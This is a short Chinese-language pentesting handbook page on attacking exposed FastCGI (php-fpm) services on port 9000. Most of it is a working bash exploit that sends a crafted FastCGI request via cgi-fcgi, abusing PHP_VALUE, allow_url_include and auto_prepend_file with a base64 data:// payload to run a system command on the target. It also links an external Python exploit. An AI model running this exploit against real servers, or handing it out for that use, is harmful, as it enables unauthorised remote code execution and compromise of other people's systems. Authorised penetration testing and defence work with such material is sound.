9000 - Pentesting FastCGI
基本信息
如果您想了解什么是FastCGI,请查看以下页面:
disable_functions bypass - php-fpm/FastCGI默认情况下,FastCGI在端口 9000上运行,并且nmap无法识别。通常FastCGI只在本地监听。
RCE
让FastCGI执行任意代码非常容易:
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
或者您也可以使用以下Python脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
最后更新于